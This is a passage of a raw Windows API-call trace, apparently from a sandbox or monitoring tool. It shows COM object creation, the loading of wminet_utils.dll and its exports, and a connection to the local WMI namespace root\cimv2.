pCid=0x530ed30*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.052] WbemDefPath:IUnknown:Release (This=0x8b1418) returned 0x3 [0127.053] CoGetContextToken (in: pToken=0x530ed38 | out: pToken=0x530ed38) returned 0x0 [0127.053] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x4 [0127.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530edac | out: ppvObject=0x530edac*=0x0) returned 0x80004002 [0127.053] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x3 [0127.053] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x2 [0127.053] WbemDefPath:IUnknown:Release (This=0x506fd00) returned 0x0 [0127.053] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x1 [0127.053] SetEvent (hEvent=0x2bc) returned 1 [0127.062] GetLastError () returned 0x36b7 [0127.082] CoGetClassObject (in: rclsid=0x8cc274*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x74a9a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x530f2ec | out: ppv=0x530f2ec*=0x5070fa0) returned 0x0 [0127.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x5070fa0, riid=0x74b87ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x530f11c | out: ppvObject=0x530f11c*=0x0) returned 0x80004002 [0127.082] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5070fa0, pUnkOuter=0x0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530f154 | out: ppvObject=0x530f154*=0x506daa8) returned 0x0 [0127.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530eef8 | out: ppvObject=0x530eef8*=0x506daa8) returned 0x0 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x530eeb4 | out: ppvObject=0x530eeb4*=0x0) returned 0x80004002 [0127.083] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.083] CoGetContextToken (in: pToken=0x530ed40 | out: pToken=0x530ed40) returned 0x0 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530ed28 | out: ppvObject=0x530ed28*=0x8b15d8) returned 0x0 [0127.083] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8b15d8, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x530ed30 | out: pCid=0x530ed30*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.083] WbemDefPath:IUnknown:Release (This=0x8b15d8) returned 0x3 [0127.083] CoGetContextToken (in: pToken=0x530ed38 | out: pToken=0x530ed38) returned 0x0 [0127.083] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x4 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530edac | out: ppvObject=0x530edac*=0x0) returned 0x80004002 [0127.083] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.083] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.084] WbemDefPath:IUnknown:Release (This=0x5070fa0) returned 0x0 [0127.084] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x1 [0127.084] SetEvent (hEvent=0x2c0) returned 1 [0127.094] GetLastError () returned 0x36b7 [0127.361] CoGetClassObject (in: rclsid=0x8cc274*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x74a9a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x530f2ec | out: ppv=0x530f2ec*=0x506dc98) returned 0x0 [0127.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dc98, riid=0x74b87ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x530f11c | out: ppvObject=0x530f11c*=0x0) returned 0x80004002 [0127.361] WbemDefPath:IClassFactory:CreateInstance (in: This=0x506dc98, pUnkOuter=0x0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530f154 | out: ppvObject=0x530f154*=0x506dca8) returned 0x0 [0127.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dca8, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530eef8 | out: ppvObject=0x530eef8*=0x506dca8) returned 0x0 [0127.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dca8, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x530eeb4 | out: ppvObject=0x530eeb4*=0x0) returned 0x80004002 [0127.361] WbemDefPath:IUnknown:AddRef (This=0x506dca8) returned 0x3 [0127.362] CoGetContextToken (in: pToken=0x530ed40 | out: pToken=0x530ed40) returned 0x0 [0127.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dca8, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530ed28 | out: ppvObject=0x530ed28*=0x8b1658) returned 0x0 [0127.362] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8b1658, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x530ed30 | out: pCid=0x530ed30*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.362] WbemDefPath:IUnknown:Release (This=0x8b1658) returned 0x3 [0127.362] CoGetContextToken (in: pToken=0x530ed38 | out: pToken=0x530ed38) returned 0x0 [0127.362] WbemDefPath:IUnknown:AddRef (This=0x506dca8) returned 0x4 [0127.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dca8, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530edac | out: ppvObject=0x530edac*=0x0) returned 0x80004002 [0127.362] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x3 [0127.362] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x2 [0127.362] WbemDefPath:IUnknown:Release (This=0x506dc98) returned 0x0 [0127.363] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x1 [0127.363] SetEvent (hEvent=0x308) returned 1 [0127.363] GetLastError () returned 0x36b7 [0129.069] CoGetClassObject (in: rclsid=0x8cc274*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x74a9a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x530f2ec | out: ppv=0x530f2ec*=0x506dc98) returned 0x0 [0129.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dc98, riid=0x74b87ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x530f11c | out: ppvObject=0x530f11c*=0x0) returned 0x80004002 [0129.070] WbemDefPath:IClassFactory:CreateInstance (in: This=0x506dc98, pUnkOuter=0x0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530f154 | out: ppvObject=0x530f154*=0x506e1b8) returned 0x0 [0129.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x506e1b8, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530eef8 | out: ppvObject=0x530eef8*=0x506e1b8) returned 0x0 [0129.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x506e1b8, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x530eeb4 | out: ppvObject=0x530eeb4*=0x0) returned 0x80004002 [0129.070] WbemDefPath:IUnknown:AddRef (This=0x506e1b8) returned 0x3 [0129.070] CoGetContextToken (in: pToken=0x530ed40 | out: pToken=0x530ed40) returned 0x0 [0129.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x506e1b8, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530ed28 | out: ppvObject=0x530ed28*=0x8b1718) returned 0x0 [0129.070] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8b1718, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x530ed30 | out: pCid=0x530ed30*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.070] WbemDefPath:IUnknown:Release (This=0x8b1718) returned 0x3 [0129.070] CoGetContextToken (in: pToken=0x530ed38 | out: pToken=0x530ed38) returned 0x0 [0129.071] WbemDefPath:IUnknown:AddRef (This=0x506e1b8) returned 0x4 [0129.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x506e1b8, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530edac | out: ppvObject=0x530edac*=0x0) returned 0x80004002 [0129.071] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x3 [0129.071] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x2 [0129.071] WbemDefPath:IUnknown:Release (This=0x506dc98) returned 0x0 [0129.071] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x1 [0129.071] SetEvent (hEvent=0x30c) returned 1 [0129.071] GetLastError () returned 0x36b7 Thread: id = 193 os_tid = 0x670 [0127.097] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0127.101] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x547f2f0 | out: lpiid=0x547f2f0) returned 0x0 [0127.102] CoGetClassObject (in: rclsid=0x8d00a4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x74a9a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x547f258 | out: ppv=0x547f258*=0x506dc40) returned 0x0 [0127.102] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc40, riid=0x74b87ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x547f088 | out: ppvObject=0x547f088*=0x0) returned 0x80004002 [0127.102] WbemLocator:IClassFactory:CreateInstance (in: This=0x506dc40, pUnkOuter=0x0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547f0c0 | out: ppvObject=0x547f0c0*=0x5070fd8) returned 0x0 [0127.102] WbemLocator:IUnknown:QueryInterface (in: This=0x5070fd8, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547ee64 | out: ppvObject=0x547ee64*=0x5070fd8) returned 0x0 [0127.102] WbemLocator:IUnknown:QueryInterface (in: This=0x5070fd8, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x547ee20 | out: ppvObject=0x547ee20*=0x0) returned 0x80004002 [0127.105] WbemLocator:IUnknown:AddRef (This=0x5070fd8) returned 0x3 [0127.105] CoGetContextToken (in: pToken=0x547ecac | out: pToken=0x547ecac) returned 0x0 [0127.105] WbemLocator:IUnknown:QueryInterface (in: This=0x5070fd8, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547ec94 | out: ppvObject=0x547ec94*=0x0) returned 0x80004002 [0127.105] CoGetContextToken (in: pToken=0x547eca4 | out: pToken=0x547eca4) returned 0x0 [0127.105] WbemLocator:IUnknown:AddRef (This=0x5070fd8) returned 0x4 [0127.106] WbemLocator:IUnknown:QueryInterface (in: This=0x5070fd8, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547ed18 | out: ppvObject=0x547ed18*=0x0) returned 0x80004002 [0127.106] WbemLocator:IUnknown:Release (This=0x5070fd8) returned 0x3 [0127.106] WbemLocator:IUnknown:Release (This=0x5070fd8) returned 0x2 [0127.106] WbemLocator:IUnknown:Release (This=0x506dc40) returned 0x0 [0127.106] WbemLocator:IUnknown:Release (This=0x5070fd8) returned 0x1 [0127.106] CoGetContextToken (in: pToken=0x547f1b0 | out: pToken=0x547f1b0) returned 0x0 [0127.107] CoGetContextToken (in: pToken=0x547f170 | out: pToken=0x547f170) returned 0x0 [0127.107] WbemLocator:IUnknown:AddRef (This=0x5070fd8) returned 0x2 [0127.107] WbemLocator:IUnknown:QueryInterface (in: This=0x5070fd8, riid=0x547f1ec*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x547f1e8 | out: ppvObject=0x547f1e8*=0x5070fd8) returned 0x0 [0127.107] WbemLocator:IUnknown:Release (This=0x5070fd8) returned 0x2 [0127.107] WbemLocator:IUnknown:Release (This=0x5070fd8) returned 0x1 [0127.111] CoGetContextToken (in: pToken=0x547f22c | out: pToken=0x547f22c) returned 0x0 [0127.111] CoGetContextToken (in: pToken=0x547f1ec | out: pToken=0x547f1ec) returned 0x0 [0127.111] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x2 [0127.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x547f268*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x547f264 | out: ppvObject=0x547f264*=0x506daa8) returned 0x0 [0127.112] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.112] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506daa8, puCount=0x547f3e0 | out: puCount=0x547f3e0*=0x2) returned 0x0 [0127.112] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.112] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=8, puBuffLength=0x547f3dc*=0x0, pszText=0x0 | out: puBuffLength=0x547f3dc*=0xf, pszText=0x0) returned 0x0 [0127.112] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=8, puBuffLength=0x547f3dc*=0xf, pszText="00000000000000" | out: puBuffLength=0x547f3dc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.119] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x547e588, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0127.119] GetLastError () returned 0x0 [0127.121] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000 [0127.136] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0127.139] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0127.142] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0127.145] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0127.149] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70 [0127.152] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89 [0127.154] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0127.157] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270 [0127.160] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73 [0127.162] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96 [0127.165] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a [0127.175] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5 [0127.177] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8 [0127.180] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4 [0127.183] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7 [0127.186] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16 [0127.188] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26 [0127.190] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0127.191] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c [0127.193] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52 [0127.196] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68 [0127.199] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e [0127.202] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94 [0127.204] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa [0127.207] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd [0127.209] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9 [0127.212] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5 [0127.214] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08 [0127.217] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b [0127.219] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37 [0127.222] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47 [0127.224] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d [0127.227] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86 [0127.230] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2 [0127.232] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb [0127.235] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce [0127.238] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4 [0127.240] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7 [0127.243] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13 [0127.249] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73 [0127.252] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd [0127.254] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580 [0127.258] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6 [0127.261] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e [0127.264] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717 [0127.267] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790 [0127.270] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810 [0127.273] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890 [0127.278] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7 [0127.281] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x547eeb8 | out: ppv=0x547eeb8*=0x506dc58) returned 0x0 [0127.281] WbemLocator:IWbemLocator:ConnectServer (in: This=0x506dc58, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x547ef04 | out: ppNamespace=0x547ef04*=0x506dd7c) returned 0x0 [0127.298] WbemLocator:IUnknown:QueryInterface (in: This=0x506dd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547edd4 | out: ppvObject=0x547edd4*=0x8dbc4c) returned 0x0 [0127.298] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8dbc4c, pProxy=0x506dd7c, pAuthnSvc=0x547ee1c, pAuthzSvc=0x547ee18, pServerPrincName=0x547ee28, pAuthnLevel=0x547ee20, pImpLevel=0x547ee0c, pAuthInfo=0x547ee10, pCapabilites=0x547ee14 | out: pAuthnSvc=0x547ee1c*=0xa, pAuthzSvc=0x547ee18*=0x0, pServerPrincName=0x547ee28, pAuthnLevel=0x547ee20*=0x6, pImpLevel=0x547ee0c*=0x2, pAuthInfo=0x547ee10, pCapabilites=0x547ee14*=0x1) returned 0x0 [0127.298] WbemLocator:IUnknown:Release (This=0x8dbc4c) returned 0x1 [0127.298] WbemLocator:IUnknown:QueryInterface (in: This=0x506dd7c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547edc8 | out: ppvObject=0x547edc8*=0x8dbc6c) returned 0x0 [0127.298] WbemLocator:IUnknown:QueryInterface (in: This=0x506dd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547edc4 | out: ppvObject=0x547edc4*=0x8dbc4c) returned 0x0 [0127.298] WbemLocator:IClientSecurity:SetBlanket (This=0x8dbc4c, pProxy=0x506dd7c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.298] WbemLocator:IUnknown:Release (This=0x8dbc4c) returned 0x2 [0127.298] WbemLocator:IUnknown:Release (This=0x8dbc6c) returned 0x1 [0127.298] CoTaskMemFree (pv=0x8a4c48) [0127.299] WbemLocator:IUnknown:Release (This=0x506dc58) returned 0x0 [0127.299] WbemLocator:IUnknown:QueryInterface (in: This=0x506dd7c, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547e784 | out: 